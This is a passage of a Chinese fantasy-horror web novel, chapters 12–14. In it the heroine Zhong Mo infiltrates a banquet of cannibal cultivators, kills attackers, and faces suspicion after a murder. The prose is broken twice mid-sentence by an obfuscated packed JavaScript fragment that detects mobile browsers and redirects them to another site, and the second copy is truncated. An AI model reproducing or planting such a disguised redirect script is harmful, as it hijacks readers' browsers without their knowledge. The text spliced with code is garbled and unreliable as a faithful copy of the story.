似是被她这莫名的一问惊到,两人皆沉默了一瞬。短暂的面面相觑后,其中一人方再次出声,却没回答钟默的问题,反而抛出个没头没脑的问题: “我说妹子,你来之前可吃过东西?在哪儿吃的?何时吃的?吃的又是什么?” “没吃。不饿。”钟默面无表情,“你问这做什么?” “……” 回应她的,又是片时的沉默。 紧跟着,却是一阵不约而同的大笑。 “我道怎么会有人从这边进山,合着是误入的棒槌!” “天哪,谁让你来的?妹妹你该不会真什么都不知道就来了吧?” “……” 本来脑袋就疼,被他俩这么一吵,更是嗡嗡的。 钟默扶着树干,勉强稳住身形,深吸口气,艰难开口: “所以不是,是吗?” “自然不是!”那两人笑得更是爽朗,“人有什么好?早就不是了!” 语毕,其中一个见钟默始终不动,竟直接伸手来牵: “做人有什么快活?妹妹跟哥哥来,若是服侍得哥哥高兴,哥哥也教你不做人的法子,保你……” 话未说完,忽然顿住。 愕然瞪大双眼,他怔怔地看着自己齐腕断裂的右手,一时没了声音。 电光闪烁,伤口处围着一圈焦痕。随着他茫然的眨眼,鲜血汩汩而出。 钟默爱干净,切他手时还特意闪了下,可惜没完全躲开,衣服上还是被溅到了些。她皱了皱眉,用手沾了点血凑到鼻前闻了闻,神情却一下微妙起来 “还真不是人。”她有些惊讶道,尾音都微微上扬,像是发现了什么新奇的玩意儿,“好怪啊。明明像,却不是,更不是灵。我还是头一回遇到你们这样的……” 她缓缓抬眼,视线在那两人身上转了一圈。像是没看到他们苍白如纸的脸色似的,只自顾自认真发问: “你们,到底是什么东西啊?” 12.第十二章 又一炷香后。 同样的地方。钟默蹲下身,就近在河里洗手。 水面倒映出她现在的模样。脸依旧被映秋月的幻术笼罩,呈现出另一幅模样,衣服上的幻术却已经消失了,变成了她原本的粗布灰衣。 这让钟默忍不住皱了皱眉。低头一看,才发现腕上的幻术镯子上已然裂开两道缝隙,想来是之前化雷时不小心震到了。也不知还能再撑多久。 身上的恶咒也已被用灵力强行压住,但这终非长久之计。左思右想,还是觉得赶紧去找点人血绘符才是正经。 再琢磨了下不久前刚从那两人嘴里打探出的情报,钟默终于拿定主意,甩甩手站起了身。 “谢了。”她向身后一动不动的两人道谢,也没指望他俩回应。自说自话地从对方腰上拿下两块木牌,头也不回地走了。 徒剩两具焦尸,安安静静地躺在原地。面目模糊的脸庞上,犹停留着巨大的恐惧。 * 沿着两人生前交代的线索,钟默沿着山路一路往前。一边走,一边放出些微的灵力,用心向四周感应。 没有回应。没有灵。整座山都死气沉沉的,没有半点生气。只从前方不远处的地方,隐隐飘来一些令人不适的气味,伴着混乱的声响,像是有人在大笑,又像是有人在尖叫。 收回灵力,钟默面无表情地继续赶路。又走了约一盏茶的工夫,终于来到了一个岔路口。 岔路分两条。一条向左边延伸,小道的尽头,是成片的明亮灯光,那些笑声与叫声正是从那里传来;右边的一条则不知通向何处,一眼望去,黑漆漆的,没有灯光,也听不见任何声响。 一个手提灯笼的白衣女子正站在路口,见钟默出现,当即上前福了福身。面上的笑容得体又淡漠。 “客人是来参加宴会,还是来参加集会的?”她问钟默,“若是参加宴会,还请拿出请柬。” “请柬没有。我有这个。”钟默冷冷看她一眼,举起从那两人身上摘下的木牌,“够吗?不够的话,我再去集会整点儿。” 女子接过木牌看了看,又是倩然一笑。 “作为请柬,已经够了。客人无需再去集会。”她将木牌递还给钟默,“宴会私密,请容妾身再多问一句。客人如何称呼,来之前可吃过东西,吃的什么,在哪里吃的?” “初音。”钟默面不改色地晃晃手里的木牌,“吃过。山脚吃的。” 这显然不算标准回答,因为女子的面上露出了几分为难。迟疑片刻,她却还是松了口: “既是如此,便请客人自行上去吧。宴会的场所就在山上,到了自会有人接应。” 说罢,冲着钟默欠了欠身,便不再搭理。钟默也没在意,依言踏上右边的路,闷头便往上走去。不知走了多久,又听一声轻唤,面前赫然多了座一座古朴宅院。 朱漆大门、青色高墙。门口悬的灯笼微微摇晃,透着暗红的光,门内则隐隐有笑谈声传出,显是早有人到了。 门口同样站着个提灯女子,神情冷淡,微微欠身。 “客人您的位置就在此处。进屋后三日不可出,除此之外可随意活动。宴会不提供食物,饮食性命,皆由您自己看顾。客人可还有不明白?” 她嘴上问着钟默,表情却透着些不耐。钟默看她一眼,平静开口: “没什么不明白的。只是有些好奇。 “我听说,参加这个宴会的‘人’,都百里挑一,这是真的吗?” “这是自然。”守门侍女微微蹙眉,似是觉得她说了什么多余的话,语气越发敷衍,“为表诚意,每一场宴会里的饺子都是万中无一的上品。不过饺子有限,能不能找到,得看客人你自己的本事。” “找?”钟默微微蹙眉,“怎么找?你们这儿味道这么乱。” “宾客多了自会如此。要不怎么说各凭本事呢。”提灯侍女语毕,微微侧身,再次示意钟默进门。 “您来得已有些晚了。其他客人早就到了。您再不抓紧,进去别说饺子,只怕自己就得坐桌上了。” “……” 意思是,去晚了搞不好就要被当菜了吗? 钟默眨了眨眼,勉强听懂了面前人的言外之音。抬脚正要上前,余光忽又捕捉到一抹摇曳的红光,定睛一看,才发现不远处还竟立着另一栋建筑,同样是高门高墙,瞧着和她面前这栋几乎一模一样。 “那是什么?”她问引路女子,“气味比这里重好多。” 这话一出,那女子的表情终于有了些变化。难掩惊讶地看她一眼,很快又敛下眸子。 “是宴会的另一个场所。不过客人不必在意。一名客人只能有一个位置,您的位置已经定了。” 她例行惯例般说着,低垂着头,这回竟主动伸手,替钟默推开了那扇朱漆大门。 钟默乜她一眼,没再说什么。径自上前,身影很快消失在门后的阴影之中。 * 同一时间,位于山腰的岔路口。 提灯的白衣女子依旧静静站在山路中央。不知过多久,才听周围再次有脚步声响起。 与先前不同的是,这次的脚步声,是从左边的岔路上传来的。 有人醉醺醺地走过来,笑嘻嘻地拿给她一面沾满鲜血的木牌。 “姑娘,请柬到手了。现在我总能去参加宴会了吧?” 白衣女子只淡淡扫了一眼,面上笑容不减:“贵客糊涂了。之前不是说了吗,要参加宴会的话,得有两枚木牌才行。” “哎呀。”那人懊恼地应了声,伸手在身上摸了摸,留下一连串的血手印,“怪我大意,方才吃得太开心了,都没注意……诶对了,你等等。” 他慌忙伸手入怀,很快又掏出个布包。打开布包,里面是一张献血淋漓的人皮,皮上有一块完整的飞龙刺青。 “姑娘你看,这个行吗?也是刚才集会上收的,我觉得这刺青好看,特意留着的。”他说着,还特意将那块人皮往前递了递,“你问问,新鲜着呢!足够证明我实力了吧?” 白衣女子被那人皮冲得只往后仰,面上却不见不耐,只轻轻叹了一声。 “罢了,就算客人你过了吧。 “只是依循惯例,妾身还是得再问一句。客人如何称呼,来之前可吃过东西?吃的什么?在哪里吃的?” 男人嘿嘿一笑,草草报了名字,三两下将人皮又包好收起,竖起手指,如数家珍: “自然吃过。前日在附近陇梅镇吃了个三千花醉堂出品的鲜花饼,早上呢,又在附近山林里点了份巨三吱儿。再往前数啊,还曾在明泽打边炉,吃了一份聚宝盆。只可惜那边碍事的人多,吃得实在不尽兴。” 他热切地望向面前女子:“这两日正长身体,说来吃得不少,可要说吃得痛快的,还真没几餐。只盼馆主垂怜,能赏几顿饱饭,要是正如传言,能吃上一顿上好的饺子,那再好不过了。” “客人言重了。我们既敢设宴招待。食物自是管够。只是能不能吃,能吃多少,还得看您自己。” 女子嫣然一笑,同样示意那人沿右边的山路上去。 不过多时,又听一阵脚步声响,又有两人,沿着左边小道走来。 来的是两名年轻男子。一个身材颀长,背后背着一柄粗布包着的长剑;一个气度雍容,腰上挂满玉佩,头顶还戴着一顶玉冠。 只可惜,背剑的那人肤色黢黑、小眼歪嘴;戴冠的那个鼻梁塌扁、满脸麻子,两人的长相都有些一言难尽。 ……丑到那白衣女子都有些被惊到了。看过一眼便匆匆移开目光,低头查看过两人手里的木牌后,例行公事般开口: “请问两人客人如何称呼——” 来人对视一眼,戴着玉冠的塌鼻梁抢先开口,从容向旁边一指: “这位是郁——泥兄,才刚入行不久,来之前也就在陇梅镇吃过点儿鲜花饼。 “在下广林子,进食则有一阵了,只是最近恰逢不适,食欲不振,只在进山前,吃了碗黄皮红馅儿的饺子。只可惜饺子成色实在不好,吃完难受到现在。” 他说到这儿,夸张地叹了口气,换来白衣女子一个几不可查的皱眉。 “既是如此,客人不妨在宴会好好寻觅。或能得偿所愿。” 她飞快说着,匆忙让开位置,示意二人上山。 那两人连连道谢,难掩喜悦地走了。没走出多远,却双双收敛了表情,神情亦变得警觉起来。 尤其是那戴着玉冠的麻脸男人,不住看向四周。观察了好一会儿,方小心翼翼地掏出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14245156|149842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块玉佩,悄悄一抹,在二人周身张开一道完全透明的隔音结界。 “成了。”他深深吐出口气,“郁泥兄,这下我俩可以安心说话了。” “芋泥你个头。”那黑皮剑客瞧着却不太开心的样子,“我是芋泥。你怎不说自己叫麻薯呢。” “诶,我当时不是嘴快……行行行,消消气。”麻脸男人忙不迭地告罪,“清和兄你向来不拘小节,连这么丑的脸都没当回事,一个称呼,至于吗。” “……”黑皮剑客没好气地瞥他一眼,总算没再追究这事,转而道,“这回真是被你坑了。你说找我来邪修集会刺探情报,我还当是什么三教九流的私下会面。这才特意过来陪你走一趟。你倒好,直接把我带到了一堆蜒涎狂徒之间——夷则静,你可想清楚,这是我们两人能应付的事吗?” “哎呀,慌什么。我说错了吗,蜒涎狂徒,又叫什么?食灵客!鲲行者!那都是把灵裔当补药吃的魔人!你就说这算不算邪修嘛。” 那玉冠麻子却是一脸理直气壮,说完又忍不住叹了口气: “再说,我也是没办法啊。我在家的地位,你又不是不知道。自打我娘死了,夷梦泽就再没人把我当个玩意儿,我要再不干些大事出来,宗门里就真没我位置了。” “你要证明自己,也不能这么冒险。”黑皮剑客依旧冷脸,“你刚也看到了,这次集会,明摆是让参与者自相残杀——” “不是自相残杀。”那玉冠麻子却认真纠正了他的话,“芋泥——清和兄,你这就不懂了。他们管这,叫‘进食’。” 蜒涎狂徒,食灵而修。所谓蜒涎,便是传说中一种不知饥饱、只懂进食的妖异。他们以此自比,足见对灵裔的需求量之大。 话虽如此,他们能吃的,却远不止灵裔而已。 ——其他的食灵者,同样在他们的食谱上。 方才的集会就是最好的证明。 有限的木牌,被发放给少数那么几个食灵者。更多的参与者只有空空的双手,想要获得足够的木牌,便只能通过抢夺和猎杀——而那些重伤或被杀死的修者,往往还没来得及倒地,就已经被旁边人分食殆尽。 这些都是方才郁清和亲眼看到的。这也是为何他觉得自己这位老朋友实在太过托大鲁莽…… 只有在集会里凑满木牌的人,才有资格进入更高级的宴会。区区一个集会就已经如此腥风血雨,可想而知所谓的“宴会”该有多不堪入目。 夷则静却显然不想放弃。 “放心,我们只是来探探情报,探到就走,绝不硬碰硬——再说,你对我没把握,对你自己还没信心吗?” 夷则静用力拍了下郁清和胳膊:“都走到这儿了,就这么回去你甘心啊。” “……”郁清和听他这么说,表情这才缓和一些。沉思片刻,缓步向前,边走边道,“说起来,那女子问我们话时,你说的‘鲜花饼’和‘饺子’都是什么意思?还有我们之前那人,我听他说什么聚宝盆……” “诶呀,那都是他们的黑话。”夷则静跟着他一道上山,仗着有结界隔音,张口便道,“聚宝盆,叫得好听,其实就是说他随便抓了些修为低的荒生野灵,一顿吃了。” “……”郁清和脸色微微一沉,紧跟着问道,“那‘巨三吱儿’又是什么?” “三吱儿,本身就是一道菜,指的是刚出生的乳鼠。巨三吱儿呢,说白了,就是有修为的鼠妖。什么狐妖啊黄鼠狼啊,也包含在里面。”夷则静抱起胳膊。 “至于那个‘鲜花饼’呢……这么说吧,你们芳菲谷不是供奉花神吗?此外还设有‘三千花醉堂’,用来供奉花神的眷族,也就是各路花灵,对不对?” “是。”郁清和微微蹙眉,“你该不会是想说……” “‘鲜花饼’,就是指花灵。”夷则静坦然点头,“那人强调是‘三千花醉堂’出品,意思就是他吃的花灵灵力精纯,品质上佳。” “……荒谬!”郁清和终于忍不住骂出了声,顿了数息,忽又反应过来,“等下,那你说的饺子,指的难道是……” “饺子饺子,黄皮红馅儿。”夷则静慢悠悠道,冷眼望着出现在视野的青墙宅院。 “这个描述,还能是什么? “指的,当然是人了。” 13.第十三章 ——为何要吃“饺子”? ——只因食灵而修,增进虽快,却有弊病,修行到一定程度,便容易人魂失衡、失心发疯。唯有吃了“饺子”,才能遏制这种病况。 只是这“饺子”也并非纯粹的好东西。 即是食物,自然有品质区分。 大部分的“饺子”都是下品。吃了能抑制疯病,却也会导致修为倒退。退行的部分,得靠吃更多灵来补足,等补够了,又到了疯病发作的界限,又得去吃饺子…… 循环往复,劳心劳力。吃了不能说无用,但总叫人难受。 中品的“饺子”,相对好些,但也好不到哪儿去。无非就是修为倒退的程度轻一些、抑制的时间也长一些。 上品的“饺子”就不同了。据说吃了不仅能长期抑制失心之症,对于修炼也大有助益。只可惜太过少见,可遇不可求。 这也是为何,这次宴会仅靠着“上品饺子”这一个彩头,就引得那么多蜒涎狂徒趋之若鹜,即使知道有折命的风险,也要冒险过来一试。 更别提,这场宴会除了“上品饺子”外,据说还藏着不少别的好处…… 古朴客房内,钟默揉着额角,默默在心里梳理着之前从河边那两人嘴里问出的消息,眼神逐渐涣散。 饺子就是人。人就有人血。有干净的血就能绘制符文压制恶咒。压制了恶咒她就能恢复正常,恢复正常后她就能离开这里,继续去做自己想做的事,嫁人也好杀人也好冲去找那个种咒者抽他脊梁骨也好…… 按说就这么回事。虽然复杂,但也没有特别复杂。 问题是,也没谁告诉她,就这么一场腌臜货的聚会,居然还玩得这么花—— “妹子?大妹子?” 面前的人话说一半,见她疑似走神,忍不住皱了皱眉,面上却还是端着客气的笑: “初音妹子?听到我说话了吗?” “……”钟默眨了眨眼,这才缓慢地移回目光。视线落在对面的娇艳女子身上。 这人是她一进宅子就遇到的,瞧着不像好东西,姿态却很热情,一上来就要拉她的手,还说这里空房多,要给钟默找个好房间。钟默那会儿却正胸闷难受,实在不想理她。自行找了个没人要的房间住下,闭眼调息,没过多久,这人却又找了过来…… 而后就一直在叭叭着,说个没完。 钟默调息过一阵,胸口不适稍有缓解,见到人总算没那么暴躁。再加上她对这地方尚不完全了解,想着能多得到些情报总不是坏事,便两手往膝上一搁,安安静静地坐着听了。 ……然而听着听着,脑袋却又有点疼了。 一头疼,思绪便自然而然地跑了。等回过神来,眼前人的表情,已然变得不太高兴。 说起来,她刚说什么来着?什么猎杀、自保、结盟…… 钟默回忆片刻,诚恳开口:“第四句话以后的,就没再听了。” “……”那女子神情一顿,脸上笑容登时变得有些僵硬。再开口时,声音也冷了几分: “妹子,姐姐是看你有眼缘,才掏心掏肺和你说这么多。话都说到这儿了,你要再装傻,可就伤人心了。” “装什么?”钟默愈发迷茫,“真没听到。我光听到你说那什么,饺子不知自己是饺子……” 想起这事,那种熟悉的烦躁感觉又涌了上来,让她忍不住叹了口气。 “不是,他们怎么会不知道自己是饺子呢?那他们以为自己是什么?” “那谁清楚。”面前女子只当她在和自己说话,翻了翻白眼,却还是应了一声,“这宅子里的提示也就这么一句,说不定是馆主设宴前对他们的脑子动了什么手脚。没准儿他们还当自己也是来参加宴会的呢。” 她说着,视线在钟默苍白的脸色上睃巡几番,眼中渐渐带上几分狠厉。 “妹子,所以我说的那事,你真考虑清楚了?”她沉声道,“你若真不愿意,我自不会逼你。但丑话说前头,能跨进这宅子的,高低都有点东西。你要托大当孤狼,随你,但当孤狼前,最好也先想想,自己有没有以一敌多的本事!” …… 这一回,钟默面上终于有点反应了。 她深深看了眼那女子,又垂下眸,沉思片刻,恍然大悟地点头,慢慢开口: “确实,凭现在的我,想一次把你们都杀了,太难。” ……为什么一副刚发现这事的表情?难道你之前还真这么想过? 美艳女子一时沉默,又见钟默抬起头来,语气诚恳: “多谢提醒。你可以走了。” “……” 这回那美艳女子是真有些端不住了,暗暗咬牙:“妹妹。姐姐我话可没说完呢。” “我知道。可我该休息了。”钟默诚恳抬头,坐在椅上一动未动,“况且,我只是来找饺子的。你又不是。” 毕竟饺子的牙齿上,怎么都不可能染着沾人血。 “……”这话一出,那美艳女子的脸彻底沉下去了。 “不是盟友便是敌人,小妹妹,你可别后悔。” 她冷冷抛下一句,转身出了房间。 剩下钟默一个,原地揉着额角,起身床边走去。 恶咒带来的负面影响还是太大。她觉得自己该再调息一阵。才刚坐上床,忽似察觉到什么,目光又落在自己方才坐的椅子上。 片刻后,又皱了皱眉,站了起来。拎起那把椅子,面无表情地朝外走去。 * 同一时间,宅院外。 夷则静瞪大眼睛,几乎控制不住自己的声音: “等一下,什么叫做——他不能进去?!” “意思就是,不能进。” 朱门外,提着青灯的白衣侍女语气冷漠:“您的位置在这边。但这位客人——” 她看向郁清和,不容置疑道:“他的位置,不在这儿。” “这……可我们是一起来的!”夷则静这回是真有些慌了。那侍女却连连摇头: “这是馆主的规矩,妾身只管遵守,无权干涉。 “二位客人如不愿意,也可沿原路下山。当然,能不能安然走到山脚,这我们就不能保证了。” “可是——”夷则静还想争取,冷不丁一只手从旁伸出,拦在他的胸口。 “算了。”郁清和安抚地看他一眼,将手缓缓放下,冲着那提灯侍女微一颔首,“明白了,请姑娘带路。” 提灯侍女淡声应了,转身示意夷则静自己开门入席。没多久,便与郁清和一起消失在了四周茫茫的雾气里。 剩下夷则静一个,用力咽了口唾沫,神情再不见之前半分从容。 ——毕竟要不是拽上郁清和,他还真不敢来赴这个食人宴。千算万算,谁能算到偏在快入席的时候,自己落单了呢? “什么其他的位置,啥都没看到啊。到处都是雾……” 他心里嘀咕着,屏息上前。终是横下心,用力推向面前两扇朱漆大门。 吱呀一声,门扉缓缓打开。他缓步向里走去,眸中渐渐浮上几分惊异。 门后就是影壁,绕过影壁,则是一个极大的庭院。檐下处处挑着灯笼,将一切照得如白昼。 一眼望去,花草繁茂、青竹秀颀、游廊蜿蜒,十几步外的池塘浮着浅光,明明是食人狂徒聚集的地方,瞧着竟还透着些许风雅。 然而很快,他眼中的惊异,又一点点被难掩的紧张所取代。 因为他看到了人。 三三两两的人,或聚在游廊,或待在树下。明明之前都还在说笑交谈,在他走过的刹那,却会齐刷刷地抬起头来,直直地将目光钉在他身上,一直钉到他又走远,才又若无其事地继续说笑起来。 短短几十步路,夷则静觉得自己走得满身大汗。 来到主屋,入眼又是群聚在一起的人。最先注意到他的是个美艳女子,冲他倩然一笑,用胳膊推了下旁边的人。那人略一点头,快步朝着夷则静走来。 “在下叶惊弦。”来迎的是个风度翩翩的白衣公子,手执一把缎面折扇,“不知兄台如何称呼。” “广……林子。”夷则静颤巍巍地报上假名。 他也不知对方是要来吃他还是怎样,一时也打不定主意该不该打招呼。叶惊弦却是彬彬有礼地一欠身,客气又热情: “见过广林兄。 “这里的空房很多,广林兄且随我来。我给你挑一间好的。有何不懂,也尽可问我。” “行……有劳。”夷则静有心拒绝,又恐他们人多势众。咬咬牙应下来,跟着那人一路前行,没见什么诡异之处,倒听那叶惊弦絮絮叨叨,介绍了不少东西。 终于到了房间,叶惊弦甚至还主动帮他开窗通风。从窗户望出去,正好能看见庭院里的池塘和假山。 夷则静惊魂未定,叠声道谢。叶惊弦笑吟吟地看他,却没急着离开。 “说起来,还没问广林兄,你是为何而来?” 夷则静心里一跳,故作镇定地笑笑:“都来这儿了,还能为什么?” “那还是有不同的。”叶惊弦正色,“有人来这儿,是为了修为;有人是出于好奇,有人则是为了更远大的前程。就算都有,也总有侧重,不是吗?” “更远大的前程?”夷则静一愣,“这是何意?” “看来广林兄不知道啊。”叶惊弦啪地打开扇子,“这说是宴会,其实和选拔无异。而举办这场宴会的‘馆主’,神秘莫测,有人说,他就是那个想出食灵之法的修者,只要能通过选拔,得他青睐,就能被他收入门下,修得更高深的功法;也有人说,这位馆主认识不少离经叛道的大能,若能得他引荐,日后前途不可限量。” “还有一种说法,更广为流传。” 他合上扇子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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说完,似是看出夷则静的犹疑,他又道:“广林兄若仍有疑虑,不如与我打个赌吧。” 夷则静:“……赌什么?” “赌一个人的死。”叶惊弦转身看向他,唇角缓缓勾起,“广林兄可知,这一批蜒涎狂徒里,有一名女子,名叫初音?” ……那当然是不知道。 夷则静本想这么说。然而盯着叶惊弦身后的窗户看了一会儿,他语气却渐渐微妙: “你说的那个女子,是不是穿灰衣服、戴个镯子的?” “正是!”叶惊弦不假思索,“实不相瞒,我们的同伴,也曾试图邀请过她。” “哦……”透过窗户,夷则静远远望着蹲在池塘边的钟默,缓缓点头,“嗯,然后呢。” “可惜啊,这女子性子实在太过乖僻。”叶惊弦啧啧摇头。 他身后的窗户里,钟默正冷脸将一把椅子扔在地上,对着它高高举起柴刀。 “……看着确实挺乖僻的。”夷则静左看右看,死活看不懂她在干嘛,“然后呢?” “然后,就被她拒绝了呗。”叶惊弦故作惋惜地叹气。没注意到夷则静愕然瞪大的双眼。 透过窗户,他看得清楚,不过一个眨眼的工夫,那名叫初音的女子身后,竟忽然多了一人——正是之前在主屋里,与叶惊弦和那美艳女子凑在一起的同伙之一。 那人身材高大,形貌粗犷,行动却是迅捷又悄无声息。夷则静眼睁睁地他化指为爪,明晃晃地对着那姑娘的后脑兜头抓下,心头正是一紧,下一瞬,却见那姑娘一个抬手—— 那高大男子便一下倒在了地上。 也不知是怎么办到的。夷则静都没看清她动作。 兔起鹘落,一切都只发生在瞬息之间。背对着窗户的叶惊弦还在摇头叹息: “广林兄你是不知啊,那女子不仅乖僻,还傲慢得很。竟放言要独占饺子,杀光我们所有人……” 他的身后,钟默正熟练地将那高大男子压在地上,又掰过他的胳膊,在夷则静惊恐的注视下,抡起柴刀就拉了道口子。 “她都这么说了,我们自然不好强人所难……” 伤口涌出血液。钟默用手指沾了点儿,凑到鼻前,旋即嫌弃地皱眉。 “所以最后,只好分道扬镳。”叶惊弦无奈摇扇。 罪恶的柴刀再次扬起,当着夷则静的面,重重落在了男人的脖颈上。 高大男人抽搐两下,渐渐不动了。 房间里,叶惊弦高深莫测地眯眼:“像这样的人,广林兄,你觉得她能在这地方活多久呢?” 夷则静沉默地看着那叫初音的女子面无表情地蹲下洗手,咽了口唾沫,许久才道:“不知道。但应该……挺久的。” 叶惊弦一声冷笑: “我看未必。 “广林兄,我跟你赌,不过多久,我们之中就会死人。 “而且死的那个,一定是她。” 14.第十四章 最后,在夷则静震惊的目光里,那名叫初音的姑娘,就那样拖着壮汉的尸体,以及那把被砍坏的椅子,安静又平静地走了。 从头到尾都没有朝他这边看一眼。也不知没注意到他,还是根本就不在意。 那叶惊弦也是个妙人儿,从头到尾愣是没回过一次头,直到那“该死”的初音姑娘走远了,才施施然地转过身,然后很奇怪地问夷则静:“咦,那池塘边怎么那么多血?” ……眼熟吗?你盟友。 夷则静默默在心里说道。 不过腹诽归腹诽,面上的态度还是和气的。一番左思右想后,最终也还是应下了叶惊弦的入伙邀请。 一来,他自认不敢招惹对面。夷则静对自己的斤两很清楚,人家姑娘可以掏刀反杀,不代表自己也有这个本事。二来,他之所以来这儿,本就是为了获取邪修情报,以便回宗门邀功,从这角度来说,明显暂时的结盟对他更有利。 比较糟心的是,他原本的想法是打探完情报就溜。谁能想到这宴会是真讲究,说三日不能出还真就三日不能出——等他跟着叶惊弦再回到庭院时,那扇朱漆大门,赫然已消失不见了。 这下好了,也不知要怎么才能出去了。夷则静摸着腰上的玉佩,不知不觉又汗流浃背。 所幸套情报的事还算顺利。叶惊弦本就健谈,在之后的时间里,为表诚意,更是又与他说了许多。有些是坊间对所谓“馆主”种种猜测,有些则是关于此次的与会者。 此番参加宴会的,至少一半都是常在北边活跃的食灵者,彼此之间说不上熟悉,但也算有点了解。入宴后的结盟,大多也都是靠这点微薄的交情做底子,像叶惊弦他们这样乐意招揽新人的,反而是少数。 也正因如此,他们这个小团体的人数,是目前最多的。其他结盟者基本就两三人一队,多的也不过四人。而叶惊弦他们的人数,在夷则静来之前就已经达到了足足六人。 叶惊弦说到这儿时,还特意给了夷则静一个香囊——他们这个盟会,领头的是个叫姽婳娘子的邪修,香囊也是她做的,团队几人,人手一个。 “姽婳娘修行日久,在北方也算有些威名。这香囊上则绣了她的独家记号。若让其他蜒涎狂徒看到,便知你是与我们为伍,受姽婳娘庇护,哪怕是要动手,也得掂量掂量。” 他说这话时语气真切,夷则静却有些不太敢接。毕竟他上一次见到“姽婳娘子”这个名号,还是在宗门的通缉簿里——他只是弱,又不是蠢。邪修的东西,哪儿是能随便碰的? 然而叶惊弦逼得实在是有些紧了,自打拿出那个香囊后,便一直目不转睛地盯着夷则静,大有一副他不接自己就决不罢休的气势。 夷则静无奈,只能讪笑着将香囊拿了过来。本想着赶紧找借口离开偷偷丢下,谁想偏就在此时,不远处忽听有人叫唤—— “诶,那边的两个!过来!” 叫人的是个矮个儿老头,形容枯瘦,眼神却是精明又狠厉,一见到他们就大呼小叫,语气干脆,仿佛在下令。 这不由让夷则静感到些不快,下意识拧起了眉。叶惊弦却像是意识到了什么,神情陡然严肃起来,快步靠近后微微欠身。 “见过耄老。这么急,可是有什么要紧事?” “要紧事倒算不上,只是需要你们来一趟。” 老头冷冷瞥他们一眼,转身便走。 “有人死了。需要验印。” * 据说死者是在厨房被发现的。 夷则静本以为是终于有人发现那被初音劈死的尸体,近了才发现,居然不是。 那是个他没见过的中年男人。上半身被放在灶上的大锅里,从下巴开始,浑身上下都被啃得七零八落,随处可见被咬穿的血洞与露出的白骨,身上几乎没留下一块完整的肉;下半身则完全不知所踪。 灶台的旁边则还站着另一个男人,瞧着比锅里那个年轻一些,五官有七八分相似,此刻正死死盯着锅中的尸首,双目已然通红。 他们和那被称作“耄老”的老头应当是一伙的,正在努力聚集众人。等夷则静赶到时,厨房里已然站了不少人——说来也怪,这宅子看庭院还只能算中规中矩,一个厨房却是出乎意料的大,一眼望去至少十多人,房间内居然还有不小的空余。 “呀,这不是乔家二郎吗?”有新来的与会者一眼认出了锅里的死者,幸灾乐祸地诧异,“才半日不见,怎么就成这样了?” 听出那人语气里的恶意,灶台旁边的男人一眼横了过去,随即深吸口气,颤巍巍起身。 “诸位同修,受累来此。”他面向众人,朗声开口,“诚如各位所见,这是我二弟的尸首。” “小弟身死,是因为技不如人,这我认。但依照江湖规矩,食灵不留痕,食人须验印,行凶者若只是杀人也就算了,既然还吃了,那我就不得不计较一番,请各位过来,好好比对验证一下尸身上的齿印,也算对各位的安危有个交代。” ……嘶。 夷则静在心里暗暗咋舌。 “食灵不留痕、食人须验印”,这话他倒也听过。据说这是蜒涎狂徒内部默认的规矩,说白了,就是让蜒涎狂徒在吃灵的时候,最好不要留下痕迹,以免被正道盯上追踪;但若是吃人,则必须留下牙印。 因为人是吃不干净的。不论怎么处理,都会留下残余,总会被人发现。若是运气不好,说不定还会引来正道围歼。留下牙印,就相当于留下身份证明,冤有头债有主,避免殃及其他邪修,这算是一种他们内部通行的道义。 其他邪修中,也有类似的规矩。反之,如果在杀人后刻意隐藏身份,又或是伪造痕迹嫁祸他人,这哪怕是在邪修中,都是相当为人不齿的。 ……但又为何说“这算是对各位的安危有个交代”?这又关其他人什么事了? 夷则静一时陷入困惑,不觉喃喃出声。旁边叶惊弦看他一眼,倒是主动出声解答: “食灵者也是食灵者的食物。而且或许因为是同类,食灵者的力量反而更好消化。” 他拿扇子朝前一指: “那个乔二郎,修行食灵术至少十年了。看他皮肤成色,来之前多半还吃了顿好的。若是有人吃了他,相当于把他那十多年功力全吃下去了……” 他说话时没有压低音量,说到这儿还特意顿了下。有人朝他们这边看来,跟着不知谁冷哼了一声。 “此消彼长。那确实是得查清楚。” 他冷冷抬眼,防备的目光扫过众人:“毕竟在座都是高手。换我也想搞清楚,究竟是谁这么能耐,还平白多了十年功力。” “那就验印呗。反正二郎的尸体还在,上面齿痕也有。”另一女声随即道,“哪怕修为再深的蜒涎狂徒,齿痕都是没法改的,这点大家都清楚。” “但这是不是太麻烦了?”有人皱眉,“人是几时死的?排查那几个可疑的就行了。” “具体时间不清楚,但一炷香前,二郎还与我一道。”这回开口的,是那个名叫“耄老”的老头,“后面他说要去后院看看,就再也没出来。” “也就是说,乔二郎是在这一炷香的时间内出事的。”叶惊弦啪一下合上扇子,“那我和这位广林兄可以免去验印了。广林兄初来乍到,我一直陪着他到处闲逛。” “那也没我事儿了。”另一名女子立刻道,“我那段时间在书房查找秘宝线索,有人可为我作证。” 这话一出,接二连三,其余人纷纷搬出自己当时不在后院的证据——毕竟“宴会”才刚刚开始,众人又大多已经完成结盟,出于谨慎,基本都和自己盟友在一起,极少落单,要搬个人证出来还是很容易的。 说到最后,唯有一人迟迟没有开口。夷则静随着众人的目光一起看过去,听见旁边的叶惊弦又啪一下打开扇子,冷冷开口: “初音姑娘,那请问——你呢?” “……?” 随着他的问话,那个不知何时凑到灶台旁的灰衣女子懵懵回头,手上还沾着一些刚从灶台上蹭到的鲜血。 也直到这会儿,夷则静才算真正看清这位“初音姑娘”的形貌—— 身材不算高大,长相也只能算秀气。穿一身粗布灰衣,显得整个人也灰扑扑的。 未施脂粉,头脸上也没什么装饰,只在手腕上戴了个同样不起眼的素镯子。细一看,那镯子上居然还有好几道裂缝。 